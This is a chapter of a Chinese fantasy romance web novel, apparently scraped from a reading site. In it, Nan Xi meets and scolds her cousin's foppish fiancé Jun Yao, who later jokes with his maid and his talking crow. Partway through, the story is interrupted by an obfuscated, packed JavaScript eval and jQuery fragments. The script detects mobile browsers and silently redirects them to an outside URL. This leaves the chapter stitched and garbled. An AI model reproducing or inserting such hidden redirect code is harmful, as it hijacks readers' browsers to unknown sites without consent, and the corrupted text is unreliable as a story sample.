盯着海面上的橙色夕阳,四哥的碎碎念完全被南兮屏蔽掉了。


    如果没记错的话,往年过年的时候,那道青影也会时不时的出现……南兮清楚的记得小时候他还试图逗自己给他拜年……为什么今年就不见了呢?


    不知道为什么,自从意识到那道青影不见了之后,南兮心里总是空落落的。


    从什么时候开始不见的?南兮挠挠头,试着回想,好像……有一段时间了呢……


    最后一次是什么时候来着?大概是……


    “妹!看,大船!”


    一艘巨大海船的阴影笼罩下来,虽然最近几天码头因为泊仙泽的仙门大会,见到了不少漂亮大船,面前的这一艘也是最大最豪华最骚包的一个。


    哐当一声巨响,船太大,码头吃水太浅,不知道哪里撞到了哪里,那海船船身一震,船上的人们也是东倒西歪。


    南兮嘴角抽了抽,还没等露出嘲笑的神情,就见一道人影疯了一般连滚带爬冲下船,双脚刚一落地,人就弯下腰,呕了起来。


    不是寻常的晕船的干呕,他是真吐。


    四哥掩住口鼻,拉着南兮往后躲。


    “噫……”南兮也快吐了,“这人真……”她的话被四哥一个眼神打断,这时她也发现,船上挂着的那面旗上,写了个君字。


    南兮撇撇嘴,勉强把话憋了回去。


    君家的大船上下来的人不多,只有十多个,下完人,也不多做停留,摇摇晃晃的离了码头,看方向是向泊仙泽的方向去了。


    一个看着非常干练的女子一眼看到了南兮和她四哥,几步走上前,行了一礼。


    “辛苦小公子了,这位就是上次没见到的南家小姐吧?”


    南兮和四哥本已经架着礼貌的假笑冲着人家傻乐了,虽然南兮笑得分外勉为其难,听到这个称呼两人茫然的看了看彼此,又看了看身后,都觉得喊的不是自己。


    女子被两人的动作逗笑了,“我是琴双双,不认得了?”


    “认得认得,双双姐嘛,”四哥傻呵呵的挠挠后脑勺,“上次送聘礼时就是你来的,我们就是不习惯你这称呼,那个……大家一路辛苦了,我带大家回去先歇歇脚。”


    琴双双回头招呼了一声,而后笑道:“我是主子家的侍女,你们是少爷的亲家,这么叫不是应该的嘛。”


    “哎呀,什么下人主子的,我们小门小户没那么多讲究的,来,这边走。”


    “嗯,请。”


    虽然没什么经验,南兮也知道,寻常人家的侍女哪有这么抛头露面还讲场面话的?南兮偷偷打量着琴双双,这人看着在君家应该是有些地位的,她没穿下人的服饰,身边的丫鬟小厮更是对她恭恭敬敬,俨然把她当作领头的。


    “双双姐,”南兮凑过去,虽然看不好这桩婚事,但为了知还的脸面,她装也要装得有礼貌些,“你家少爷,就是准新郎官呢?”


    “嗯……”琴双双面露一丝尴尬,往后看去。


    就见那个差点把胃吐出来的锦衣公子直起腰,抹了把嘴,露出一个虚弱但贱了吧嗖的笑容。


    “在这儿呢!”


    南兮抬眼打量,那人看起来比实际年纪年轻,明明快三十了,看着却只有二十三四岁的样子,他身材匀称,个子高挑,模样也是第一梯队的俊朗,能被张韶看上画进画里的那种程度,只不过,他那双明明挺漂亮的眼睛总跟要偷东西似的四处乱转,给人一种十分冒犯的感觉,着实欠揍。


    见南兮皱起眉,君尧莫名感到了一股子嫌弃,他下意识又抹了抹嘴角,笑容更盛了些。


    笑起来好轻浮……南兮更嫌弃了,甚至撇起嘴,发出啧啧的声音。


    君尧被她弄得心虚,尴尬的抽出腰间的白纸扇,刷的打开扇子,半遮住自己的脸,用口型问向琴双双:


    “什么情况?我惹她了?”


    琴双双笑了笑,没说话。


    南兮注意到,刚刚君尧在吐的时候,一个上前帮忙的下人都没有,大家各自忙碌着手上的活,对比这位少爷,他们似乎畏惧琴双双更多一些。


    果然是个闲散少爷,一点威信都没有,不过反过来想,这少爷羔子应该是个好相处的,起码脾气不大,被下人无视了也不闹。


    南兮如是想,她走上前,绕着君尧上下打量,视线从对方开得偏大的领口到束得紧实的腰封,再到暗绣赤纹的袖口和垂在身侧的香囊,一副给大白菜估价的模样。


    君尧虽然尴尬,但也大大方方的给她看,甚至展开双臂,原地转了一圈儿,陪笑道:


    “小姑娘,对未来表姐夫可还满意?”


    “别问我,我怕我话伤人,”猜到君尧是个禁得住逗的,南兮演都不演了,“再说了,我满不满意能咋样,又不是我娶你,”她探头轻轻吸了吸鼻子,“这啥味儿,怪香的?”


    君尧指着自己的香囊,“这个?哦,这是最近最流行的香,说道可多着了,小妹妹要是喜欢,改天准表姐夫帮你好好挑选一……”


    “挺懂的嘛你?我在镇子里女人身上闻过,”南兮笑容里带着讳莫如深,“没少给外面女人送吧?”


    “???”


    君尧的笑容凝固了,南兮像是没看到似的继续开腔——


    “咱这小地方,夏天热起来,男人都是光着膀子到处跑,可像现在这种大冷天还半露不露让人看皮肉的可真挺少见的,你们大地方来的,都这爱好?”


    “我……”君尧心虚的看向琴双双,琴双双假装看向别处,“我这人天生不怕冷,而且他们说泊仙泽岛上温度适宜……”


    “哦?你也是去泊仙泽的啊?”南兮明知故问,“那你在这下什么船啊?哎对了,你们那边的规矩,不是新人没成亲不能抛头露面吗?给我表姐弄得天天闷在家跟蹲大牢似的,你倒是挺随意?”


    “哎呀,规矩那玩意儿……”君尧谴责的看向琴双双的方向,可对方已经走远了,“双姐那么一说,你们就那么一听,邙州的规矩,到了邙州再遵守来得及……至于我,我、我这不是晕船晕得太厉害了嘛,我爹是打算让我去泊仙泽的,可我再不下船可能就没命了……”


    “哈,那还真惨啊……”南兮的语气里听不出同情,眼睛恶狠狠的看着君尧敞开的领口,小声嘀咕,“一股子风流相。”


    “不敢、不敢……”君尧干巴巴的赔着笑,悄悄的把自己领口拉紧,规规矩矩的收到甚至有些勒住脖子的程度。“还、还有什么指教的?”


    南兮哼了一声,“扇子收起来,一副卖弄劲儿,看着就不咋聪明,我表姐肯定不喜欢。”


    “好、是了。”白纸扇被别进了腰带里,君尧感觉自己面前小姑娘的身影跟自己气场强大的娘亲重合了起来。


    被南兮毫不留情的怼了一顿,君尧身上那股子纨绔劲儿以肉眼可见的速度收敛了一大半,规规矩矩的拜见长辈,规规矩矩的解释自己晕船耽搁了行程,规规矩矩奉上礼品派了喜钱,规规矩矩的安排家丁帮忙张罗迎亲仪式,规规矩矩的告退,最后灰溜溜的包下南坪村唯一一间小客栈休息。


    “少爷今天好规矩!”帮着君尧整理着简陋客房的琴双双,语气半是欣喜半是疑惑。“终于肯听老夫人的话,知道收心了?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382675|183968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    琴双双很小便来了君家,贴身陪伴了少爷多年,与主仆相比,更多生出了些亲情。


    君尧一屁股坐在床上,被扇子柄嗝到了屁股,哎呦一声弹起来,愤愤的把腰间的扇子丢到桌子上,才泄气似的坐回去。


    “双双,你就别逗我了,要是不能把这位知还姑娘娶回去,我爹不得把我吊起来打然后赶出家门?!”


    琴双双将明天更换的衣物放在柜子上,“赶出去也好,看到时候少爷身边还会不会围着那群狐朋狗友,每日流连风月之地,花天酒地荒唐度日。”


    君尧假模假式的瞪了眼,“胡说,我和那些姑娘只是知己,你一姑娘家不要想那些肮脏的东西,你少爷我真要被扫地出门,你都不难过的吗?”


    “难过难过,可难过死了!”琴双双处理好手上的活,向门外退去,一脚门里一脚门外的回头对君尧笑道:“我知道少爷担心什么,都替你打听过了,那知还姑娘模样出众,性格随和,心地善良,最近被泊仙泽收为内门弟子,用老夫人的话说,够配你好几个来回。”


    “哎哎哎双姐你最后一句过分了啊!你家少爷我不风流倜傥英俊潇洒吗?”


    琴双双没理会君尧的抱怨,话音刚落就关了走了,君尧跳起来追向门口,冲着琴双双的背影喊着——


    “你跟谁打听的?”


    “知还姑娘的表妹!那个叫南兮的小姑娘!”琴双双头也不回的答道。


    君尧哼唧了一声,心道那姑娘的话怕是没法当真,琴双双可能是没看到她对着自己咬着后槽牙恶狠狠说话的架势。


    一阵扑啦啦的羽翼轻响,君尧的香囊一阵颤动,一只尾羽略长,毛色黑中偏紫,比寻常乌鸦大了一圈的黑鸟挥着翅膀落在君尧肩上。


    “你被小姑娘讨厌了,哈!”大号乌鸦的声音沙哑,却能听出满满的幸灾乐祸。


    “是啊,多稀奇,这可是我长这么大头一遭……呸呸呸,什么叫我被她讨厌了,那小丫头就是嫉妒,嫉妒她表姐可以嫁给我这么优秀的男人,她妒火中烧,然后迁怒于我!”君尧立即否定了这一观点,心生烦躁的在屋子里转了两圈,“你看,我又没得罪她,她上来跟我阴阳怪气儿的劲儿!一听就是憋着火呢!”


    乌鸦暗哑的笑了几声,“不知道是谁,听说北方有陋俗,姐姐嫁人会把妹妹当做陪嫁,还兴奋了好几天呢!”


    “谁呀?谁?谁?谁这么没出息?”君尧作势要打那乌鸦,吓得乌鸦飞到了柜子上,“你别瞎说啊,那小姑娘还没长开呢,这么讲怪招人讨厌的,被人听见了还以为我是没见过女人的变态。”


    “哈,我还不知道你,脂粉堆里长大,从来没被女人呛过,你那小心眼儿的劲儿,还能不记仇?怎么样,要不要改天再去撩撩,扳回一局?”


    “阿烦,你从什么时候开始误以为我脑子有病的?”


    乌鸦扑棱了几下,夸张的摇了摇头,“记不得记不得,太久太久之前了。”


    君尧叹了口气,颓然坐回床上,像是自言自语道:“我得找机会换个御灵,换个能打的,最好还是个哑巴……”


    “别胡思乱想,你舍不得我的。”乌鸦很是自信。


    君尧没理会乌鸦阿烦的挤兑,“其实说来确实有点奇怪啊,那小姑娘跟我鼻子不是鼻子眼不是眼的,当众把我撅得跟孙子似的,我怎么不仅不生气,还有一种……‘本该如此’的错觉呢?”


    阿烦愣住了,鸟类的脸上少见的出现了震惊的神色。


    “哥,你不是吧?你喜欢做弱势的一方?!”


    “滚!我是真拿她当小辈看!”